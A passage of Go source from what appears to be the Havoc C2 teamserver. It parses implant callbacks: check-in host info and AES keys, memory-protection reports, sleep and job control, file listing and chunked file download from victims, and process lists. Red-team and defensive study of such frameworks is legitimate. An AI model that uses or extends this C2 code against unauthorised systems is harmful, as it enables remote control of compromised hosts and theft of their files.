+ "/" + a.NameID Message["Output"] = fmt.Sprintf( "\n"+ "Teamserver:\n"+ " - Session Path : %v\n"+ "\n"+ "Meta Data:\n"+ " - Agent ID : %v\n"+ " - Magic Value : %x\n"+ " - First Call In : %v\n"+ " - Last Call In : %v\n"+ " - AES Key : %v\n"+ " - AES IV : %v\n"+ " - Sleep Delay : %v\n"+ " - Sleep Jitter : %v\n"+ "\n"+ "Host Info:\n"+ " - Host Name : %v\n"+ " - User Name : %v\n"+ " - Domain Name : %v\n"+ " - Internal IP : %v\n"+ "\n"+ "Process Info:\n"+ " - Process Name : %v\n"+ " - Process Arch : %v\n"+ " - Process ID : %v\n"+ " - Thread ID : %v\n"+ //" - Process Parent ID : %v\n" + " - Process Path : %v\n"+ " - Process Elevated : %v\n"+ " - Base Address : 0x%x\n"+ "\n"+ "Operating System:\n"+ " - Version : %v\n"+ " - Build : %v.%v.%v.%v.%v\n"+ " - Arch : %v\n"+ "", // Teamserver a.SessionDir, // Meta Data a.NameID, a.Info.MagicValue, a.Info.FirstCallIn, a.Info.LastCallIn, hex.EncodeToString(a.Encryption.AESKey), hex.EncodeToString(a.Encryption.AESIv), a.Info.SleepDelay, a.Info.SleepJitter, // Host info a.Info.Hostname, a.Info.Username, a.Info.DomainName, a.Info.InternalIP, // Process Info a.Info.ProcessName, a.Info.ProcessArch, a.Info.ProcessPID, a.Info.ProcessTID, //a.Info.ProcessPPID, a.Info.ProcessPath, a.Info.Elevated, a.Info.BaseAddress, // Operating System Info a.Info.OSVersion, OsVersion[0], OsVersion[1], OsVersion[2], OsVersion[3], OsVersion[4], a.Info.OSArch, // TODO: add Optional data too ) teamserver.AgentUpdate(a) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CHECKIN, Invalid packet", AgentID)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CHECKIN, Invalid packet", AgentID)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) break case DEMON_INFO: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( InfoID = int(Parser.ParseInt32()) Output = make(map[string]string) ) Output["Type"] = "Info" switch InfoID { case DEMON_INFO_MEM_ALLOC: if Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32, parser.ReadInt32}) { var ( MemPointer = Parser.ParsePointer() MemSize = Parser.ParseInt32() ProtectionId = Parser.ParseInt32() Protection string ) logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_ALLOC, MemPointer: %x, MemSize: %x, ProtectionId: %d", AgentID, MemPointer, MemSize, ProtectionId)) if s, ok := win32.Protections[int(ProtectionId)]; ok { Protection = s[1] } else { Protection = "UNKNOWN" } Output["Message"] = fmt.Sprintf("Memory Allocated : Pointer:[0x%x] Size:[%d] Protection:[%v]", MemPointer, MemSize, Protection) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_ALLOC, Invalid packet", AgentID)) } break case DEMON_INFO_MEM_EXEC: if Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32}) { var ( MemFunction = Parser.ParsePointer() ThreadId = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_EXEC, MemFunction: %x, ThreadId: %d", AgentID, MemFunction, ThreadId)) Output["Message"] = fmt.Sprintf("Memory Executed : Function:[0x%x] ThreadId:[%d]", MemFunction, ThreadId) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_EXEC, Invalid packet", AgentID)) } break case DEMON_INFO_MEM_PROTECT: if Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( Memory = Parser.ParsePointer() MemorySize = Parser.ParseInt32() OldProtection = Parser.ParseInt32() Protection = Parser.ParseInt32() ProcString string ) logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_PROTECT, Memory: %x, MemorySize: %x, OldProtection: %d, Protection: %d", AgentID, Memory, MemorySize, OldProtection, Protection)) if s, ok := win32.Protections[OldProtection]; ok { ProcString = s[1] + " -> " } else { ProcString = "UNKNOWN" + " -> " } if s, ok := win32.Protections[Protection]; ok { ProcString += s[1] } else { ProcString += "UNKNOWN" } Output["Message"] = fmt.Sprintf("Memory Protection: Memory:[0x%x] Size:[%d] Protection[%v]", Memory, MemorySize, ProcString) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_MEM_PROTECT, Invalid packet", AgentID)) } break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - UNKNOWN (%d)", AgentID, InfoID)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) a.RequestCompleted(RequestID) break } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO, invalid packet", AgentID)) } case COMMAND_SLEEP: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var Output = make(map[string]string) a.Info.SleepDelay = Parser.ParseInt32() a.Info.SleepJitter = Parser.ParseInt32() teamserver.AgentUpdate(a) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SLEEP, SleepDelay: %d, SleepJitter: %d", AgentID, a.Info.SleepDelay, a.Info.SleepJitter)) Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("Set sleep interval to %v seconds with %v%% jitter", a.Info.SleepDelay, a.Info.SleepJitter) a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SLEEP, Invalid packet", AgentID)) } break case COMMAND_JOB: var Message = make(map[string]string) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var SubCommand = Parser.ParseInt32() switch SubCommand { case DEMON_COMMAND_JOB_LIST: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_LIST", AgentID)) var Output string Output += fmt.Sprintf(" %-6s %-13s %-5s\n", "Job ID", "Type", "State") Output += fmt.Sprintf(" %-6s %-13s %-5s\n", "------", "----", "-----") for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( JobID int Type int State int StringType string StringState string ) JobID = Parser.ParseInt32() Type = Parser.ParseInt32() State = Parser.ParseInt32() if Type == 0x1 { StringType = "Thread" } else if Type == 0x2 { StringType = "Process" } else if Type == 0x3 { StringType = "Track Process" } else { StringType = "Unknown" } if State == 0x1 { StringState = "Running" } else if State == 0x2 { StringState = "Suspended" } else if State == 0x3 { StringState = "Dead" } else { StringState = "Unknown" } Output += fmt.Sprintf(" %-6v %-13s %-5s\n", JobID, StringType, StringState) } Message["Type"] = "Info" Message["Message"] = "Job list:" Message["Output"] = "\n" + Output break case DEMON_COMMAND_JOB_SUSPEND: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( JobID = Parser.ParseInt32() Success = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_SUSPEND, JobID: %v, Success: %d", AgentID, JobID, Success)) if Success == win32.TRUE { Message["Type"] = "Good" Message["Message"] = fmt.Sprintf("Successful suspended job %v", JobID) } else { Message["Type"] = "Error" Message["Message"] = fmt.Sprintf("Failed to suspended job %v", JobID) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_SUSPEND, Invalid packet", AgentID)) } break case DEMON_COMMAND_JOB_RESUME: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( JobID = Parser.ParseInt32() Success = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_RESUME, JobID: %v, Success: %d", AgentID, JobID, Success)) if Success == win32.TRUE { Message["Type"] = "Good" Message["Message"] = fmt.Sprintf("Successful resumed job %v", JobID) } else { Message["Type"] = "Error" Message["Message"] = fmt.Sprintf("Failed to resumed job %v", JobID) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_RESUME, Invalid packet", AgentID)) } break case DEMON_COMMAND_JOB_KILL_REMOVE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( JobID = Parser.ParseInt32() Success = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_KILL_REMOVE, JobID: %v, Success: %d", AgentID, JobID, Success)) if Success == win32.TRUE { Message["Type"] = "Good" Message["Message"] = fmt.Sprintf("Successful killed and removed job %v", JobID) } else { Message["Type"] = "Error" Message["Message"] = fmt.Sprintf("Failed to kill job %v", JobID) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_KILL_REMOVE, Invalid packet", AgentID)) } break case DEMON_COMMAND_JOB_DIED: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - DEMON_COMMAND_JOB_DIED", AgentID)) // this message is sent by the agent when a created process dies a.RequestCompleted(RequestID) break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB - UNKNOWN (%d)", AgentID, SubCommand)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) a.RequestCompleted(RequestID) break } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_JOB, Invalid packet", AgentID)) } case COMMAND_FS: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( SubCommand = Parser.ParseInt32() Output = make(map[string]string) ) switch SubCommand { case DEMON_COMMAND_FS_DIR: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DIR", AgentID)) if Parser.CanIRead([]parser.ReadType{parser.ReadBool, parser.ReadBool, parser.ReadBytes, parser.ReadBool}) { var ( Explorer = Parser.ParseBool() ListOnly = Parser.ParseBool() StartPath = Parser.ParseUTF16String() Success = Parser.ParseBool() ReadOne = false Dir string DirMap = make(map[string]any) DirArr []map[string]string WhatToRead []parser.ReadType ) if ! Success { Output["Type"] = "Error" Output["Message"] = "Failed to enumerate files/folders at specified path: " + StartPath } else { IsFirst := true if ListOnly { WhatToRead = []parser.ReadType{parser.ReadBytes} } else { WhatToRead = []parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64} } for Parser.CanIRead(WhatToRead) { var ( RootDirPath = Parser.ParseUTF16String() NumFiles = Parser.ParseInt32() NumDirs = Parser.ParseInt32() TotalFileSize int64 = 0 ItemsLeft = NumFiles + NumDirs ) if !ListOnly { TotalFileSize = Parser.ParseInt64() } if !ListOnly && !Explorer && NumFiles + NumDirs > 0 { if IsFirst { IsFirst = false Dir += fmt.Sprintf(" Directory of %s:\n\n", RootDirPath) } else { Dir += fmt.Sprintf("\n\n Directory of %s:\n\n", RootDirPath) } } for (ItemsLeft > 0 && ((ListOnly && Parser.CanIRead([]parser.ReadType{parser.ReadBytes})) || (!ListOnly && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBool, parser.ReadInt64, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32})))) { var ( FileName = Parser.ParseUTF16String() IsDir = false FileSize int64 = 0 LastAccessDay = 0 LastAccessMonth = 0 LastAccessYear = 0 LastAccessMinute = 0 LastAccessHour = 0 Size string Type string LastModified string DirText string ) if !ListOnly { IsDir = Parser.ParseBool() FileSize = Parser.ParseInt64() LastAccessDay = Parser.ParseInt32() LastAccessMonth = Parser.ParseInt32() LastAccessYear = Parser.ParseInt32() LastAccessMinute = Parser.ParseInt32() LastAccessHour = Parser.ParseInt32() } ReadOne = true if ListOnly { Dir += fmt.Sprintf("%s%s\n", RootDirPath[:len(RootDirPath)-1], FileName) } else { LastModified = fmt.Sprintf("%02d/%02d/%d %02d:%02d", LastAccessDay, LastAccessMonth, LastAccessYear, LastAccessHour, LastAccessMinute) if IsDir { Type = "dir" DirText = "" Size = "" } else { DirText = "" Size = common.ByteCountSI(int64(FileSize)) } if Explorer { DirArr = append(DirArr, map[string]string{ "Type": Type, "Size": Size, "Modified": LastModified, "Name": FileName, }) } else { Dir += fmt.Sprintf("%-17s %-5s %-12s %-8s\n", LastModified, DirText, Size, FileName) } } ItemsLeft -= 1 } if NumFiles + NumDirs > 0 && !Explorer && !ListOnly { Dir += fmt.Sprintf(" %d File(s) %s\n", NumFiles, common.ByteCountSI(TotalFileSize)) Dir += fmt.Sprintf(" %d Folder(s)", NumDirs) } if Explorer { DirMap["Path"] = []byte(RootDirPath) DirMap["Files"] = DirArr DirJson, err := json.Marshal(DirMap) if err != nil { logger.Debug("[Error] " + err.Error()) } else { Output["MiscType"] = "FileExplorer" Output["MiscData"] = base64.StdEncoding.EncodeToString(DirJson) } } } if !Explorer { if ReadOne == false { Output["Type"] = "Info" Output["Output"] = "No file or folder was found" } else { Output["Type"] = "Info" Output["Output"] = Dir } } } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DIR, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_DOWNLOAD: /* * Download Header: * [ Mode ] Open ( 0 ), Write ( 1 ) or Close ( 2 ) * [ File ID ] Download File ID * * Data (Open): * [ File Size ] * [ File Name ] * * Data (Write) * [ Chunk Data ] Size + FileChunk * * Data (Close): * [ File Name ] * [ Reason ] Removed or Finished * */ if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( Mode = Parser.ParseInt32() FileID = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Mode: %d, FileID: %x", AgentID, Mode, FileID)) switch Mode { /* File Open */ case 0x0: logger.Debug(fmt.Sprintf("Download open FileID:[%x]", FileID)) if Parser.CanIRead([]parser.ReadType{parser.ReadInt64, parser.ReadBytes}) { var ( FileSize = Parser.ParseInt64() FileName = Parser.ParseUTF16String() Size = common.ByteCountSI(FileSize) ) Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("Started download of file: %v [%v]", FileName, Size) if err := a.DownloadAdd(FileID, FileName, FileSize); err != nil { Output["Type"] = "Error" Output["Message"] = err.Error() } else { Output["MiscType"] = "download" Output["MiscData2"] = base64.StdEncoding.EncodeToString([]byte(FileName)) + ";" + Size } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet", AgentID)) } break case 0x1: logger.Debug(fmt.Sprintf("Download write FileID:[%v]", FileID)) if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var FileChunk = Parser.ParseBytes() a.DownloadWrite(FileID, FileChunk) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet", AgentID)) } break case 0x2: logger.Debug(fmt.Sprintf("Download close FileID:[%v]", FileID)) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( FileName string Reason = Parser.ParseInt32() ) if len(a.Downloads) > 0 { var download = a.DownloadGet(FileID) if download != nil { FileName = download.FilePath } if Reason == 0x0 { Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("Finished download of file: %v", FileName) a.DownloadClose(FileID) } else if Reason == 0x1 { Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("Download has been removed: %v", FileName) a.DownloadClose(FileID) } } else { /* TODO: handle this error. or simply ignore this ? */ } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet", AgentID)) } break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - UNKNOWN (%d)", AgentID, Mode)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_DOWNLOAD, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_UPLOAD: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_UPLOAD", AgentID)) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) { var ( FileSize = Parser.ParseInt32() FileName = Parser.ParseUTF16String() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_UPLOAD, FileSize: %v, FileName: %v", AgentID, FileSize, FileName)) Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("Uploaded file: %v (%v)", FileName, FileSize) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_UPLOAD, Invalid packet", AgentID)) Output["Type"] = "Error" Output["Message"] = "Failed to parse FS::Upload response" } break case DEMON_COMMAND_FS_CD: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Path = Parser.ParseUTF16String() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CD, Path: %v", AgentID, Path)) Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("Changed directory: %v", Path) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CD, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_REMOVE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) { var ( IsDir = Parser.ParseInt32() Path = Parser.ParseUTF16String() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_REMOVE, IsDir: %d, Path: %v", AgentID, IsDir, Path)) Output["Type"] = "Info" if IsDir == win32.TRUE { Output["Message"] = fmt.Sprintf("Removed directory: %v", Path) } else { Output["Message"] = fmt.Sprintf("Removed file: %v", Path) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_REMOVE, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_MKDIR: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Path = Parser.ParseUTF16String() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MKDIR, Path: %v", AgentID, Path)) Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("Created directory: %v", Path) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MKDIR, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_COPY: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes}) { var ( Success = Parser.ParseInt32() PathFrom = Parser.ParseUTF16String() PathTo = Parser.ParseUTF16String() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_COPY, Success: %d, PathFrom: %v, PathTo: %v", AgentID, Success, PathFrom, PathTo)) if Success == win32.TRUE { Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("Successful copied file %v to %v", PathFrom, PathTo) } else { Output["Type"] = "Error" Output["Message"] = fmt.Sprintf("Failed to copied file %v to %v", PathFrom, PathTo) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_COPY, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_MOVE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes}) { var ( Success = Parser.ParseInt32() PathFrom = Parser.ParseUTF16String() PathTo = Parser.ParseUTF16String() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MOVE, Success: %d, PathFrom: %v, PathTo: %v", AgentID, Success, PathFrom, PathTo)) if Success == win32.TRUE { Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("Successful moved file %v to %v", PathFrom, PathTo) } else { Output["Type"] = "Error" Output["Message"] = fmt.Sprintf("Failed to moved file %v to %v", PathFrom, PathTo) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MOVE, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_GET_PWD: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Path = Parser.ParseUTF16String() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_GET_PWD, Path: %v", AgentID, Path)) Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("Current directory: %v", Path) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_GET_PWD, Invalid packet", AgentID)) } break case DEMON_COMMAND_FS_CAT: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadBytes}) { var ( FileName = Parser.ParseUTF16String() Success = Parser.ParseInt32() FileContent = Parser.ParseString() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CAT, FileName: %v, Success: %d", AgentID, FileName, Success)) if Success == win32.TRUE { Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("File content of %v (%v):", FileName, len(FileContent)) Output["Output"] = FileContent } else { Output["Type"] = "Erro" Output["Message"] = fmt.Sprintf("Failed to read file: %v", FileName) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CAT, Invalid packet", AgentID)) Output["Type"] = "Error" Output["Message"] = "Failed to parse fs::cat response" } default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS - UNKNOWN (%d)", AgentID, SubCommand)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) break } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_FS, Invalid packet", AgentID)) } case COMMAND_PROC_LIST: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC_LIST", AgentID)) type Process struct { Name string ImagePath string PID string PPID string Session string IsWow int Threads string User string } var ( tableData [][]string Processlist []Process processes int Output = make(map[string]string) ProcessUI = Parser.ParseInt32() ProcessTable string ProcessMaxStr int ) for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes}) { var ( collum []string Process Process ) Process.Name = Parser.ParseUTF16String() Process.PID = strconv.Itoa(Parser.ParseInt32()) Process.IsWow = Parser.ParseInt32() Process.PPID = strconv.Itoa(Parser.ParseInt32()) Process.Session = strconv.Itoa(Parser.ParseInt32()) Process.Threads = strconv.Itoa(Parser.ParseInt32()) Process.User = Parser.ParseUTF16String() var ProcessArch = "x64" if Process.IsWow == win32.TRUE { ProcessArch = "x86" } collum = []string{Process.Name, Process.PID, Process.PPID, Process.Session, ProcessArch, Process.Threads, Process.User} tableData = append(tableData, collum) Processlist = append(Processlist, Process) processes++ if len(Process.Name) > ProcessMaxStr { ProcessMaxStr = len(Process.Name) } } FormatTable := fmt.Sprintf(" %%-%vs %%-4s %%-4s %%-7s %%-5s %%-7s %%-4s", ProcessMaxStr) ProcessTable += fmt.Sprintf(FormatTable+"\n", "Name", "PID", "PPID", "Session", "Arch", "Threads", "User") ProcessTable += fmt.Sprintf(FormatTable+"\n", "----", "---", "----", "-------", "----", "-------", "----") for _, process := range Processlist { var ProcessArch = "x64" if process.IsWow == win32.TRUE { ProcessArch = "x86" } ProcessTable += fmt.Sprintf(FormatTable+"\n", process.Name, process.PID, process.PPID, process.Session, ProcessArch, process.Threads, process.User) } var ProcessListJson, _ = json.Marshal(Processlist) if ProcessUI == win32.FALSE { Output["Type"] = "Info" Output["Message"] = "Process List:" Output["Output"] = "\n" + ProcessTable } else { logger.Debug("Process UI") Output["MiscType"] = "ProcessUI" Output["MiscData"] = base64.StdEncoding.EncodeToString(ProcessListJson) } a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) case COMMAND_OUTPUT: var Output = make(map[string]string) var message string if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { message = Parser.ParseString() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_OUTPUT, len: %d", AgentID, len(message))) Output["Type"] = "Good" Output["Output"] = message Output["Message"] = fmt.Sprintf("Received Output [%v bytes]:", len(message)) if len(message) > 0 { teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_OUTPUT, Invalid packet ", AgentID)) } case BEACON_OUTPUT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var Type = Parser.ParseInt32() switch Type { case CALLBACK_OUTPUT: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT", AgentID)) found := false for _, BofCallback := range a.BofCallbacks { if BofCallback.TaskID == RequestID { // store the output and later send it back to the python module BofCallback.Output += Parser.ParseString() found = true break } } if found == false { // simply print the output on the agent console var Output = make(map[string]string) Output["Type"] = "Good" Output["Output"] = Parser.ParseString() Output["Message"] = fmt.Sprintf("Received Output [%v bytes]:", len(Output["Output"])) if len(Output["Output"]) > 0 { teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } } break } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT, Invalid packet", AgentID)) } case CALLBACK_OUTPUT_OEM: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT_OEM", AgentID)) found := false for _, BofCallback := range a.BofCallbacks { if BofCallback.TaskID == RequestID { // store the output and later send it back to the python module BofCallback.Output += Parser.ParseUTF16String() found = true break } } if found == false { // simply print the output on the agent console var Output = make(map[string]string) Output["Type"] = "Good" Output["Output"] = Parser.ParseUTF16String() Output["Message"] = fmt.Sprintf("Received Output [%v bytes]:", len(Output["Output"])) if len(Output["Output"]) > 0 { teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } } break } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT_OEM, Invalid packet", AgentID)) } case CALLBACK_ERROR: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_ERROR", AgentID)) found := false for _, BofCallback := range a.BofCallbacks { if BofCallback.TaskID == RequestID { // store the output and later send it back to the python module BofCallback.Error += Parser.ParseString() found = true break } } if found == false { // simply print the output on the agent console var Output = make(map[string]string) Output["Type"] = typeError Output["Output"] = Parser.ParseString() Output["Message"] = fmt.Sprintf("Received Output [%v bytes]:", len(Output["Output"])) if len(Output["Output"]) > 0 { teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } } break } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_ERROR, Invalid packet", AgentID)) } case CALLBACK_FILE: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Data = Parser.ParseBytes() if len(Data) > 8 { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE", AgentID)) var FileID = int(binary.BigEndian.Uint32(Data[0:4])) var FileLength = int64(binary.BigEndian.Uint32(Data[4:8])) var FileName = string(Data[8:]) var Output = make(map[string]string) Output["Type"] = "Info" Output["Message"] = fmt.Sprintf("Started download of file: %v [%v]", FileName, FileLength) logger.Debug(Output["Message"]) if err := a.DownloadAdd(FileID, FileName, FileLength); err != nil { Output["Type"] = "Error" Output["Message"] = err.Error() } else { Output["MiscType"] = "download" Output["MiscData2"] = base64.StdEncoding.EncodeToString([]byte(FileName)) + ";" + common.ByteCountSI(int64(FileLength)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE, Invalid packet", AgentID)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE, Invalid packet", AgentID)) } break case CALLBACK_FILE_WRITE: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Data = Parser.ParseBytes() if len(Data) >= 4 { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_WRITE", AgentID)) var FileID = int(binary.BigEndian.Uint32(Data[0:4])) var FileChunk = Data[4:] var err = a.DownloadWrite(FileID, FileChunk) if err != nil { var Output = make(map[string]string) Output["Type"] = "Error" Output["Message"] = err.Error() teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - 